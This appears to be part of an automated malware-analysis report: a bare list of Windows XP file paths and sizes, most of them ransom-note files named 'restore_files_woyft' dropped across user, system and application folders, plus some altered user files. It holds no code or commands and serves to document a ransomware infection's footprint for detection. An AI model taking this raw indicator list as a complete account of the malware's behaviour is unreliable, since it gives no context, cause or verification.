%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.html (5 bytes)
C:\totalcmd\HISTORY.TXT (3890 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.txt (2 bytes)
C:\totalcmd\DEFAULT.BAR (2816 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.html (5 bytes)
%System%\config\software (2547 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\brndlog.txt (1116 bytes)
%Documents and Settings%\All Users\Documents\My Music\My Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\host\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\Beethoven's Symphony No. 9 (Scherzo).wma (6148 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\4XCFALMJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\New Stories (Highway Blues).wma (7698 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@bostonhygiene[1].txt (178 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (12624 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\brndlog.txt (436 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7Y8AKL0W\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword2.doc (419 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\47\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\37\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\34\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (1157 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\37\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\excel.xls (427 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\quattro.wb2 (430 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
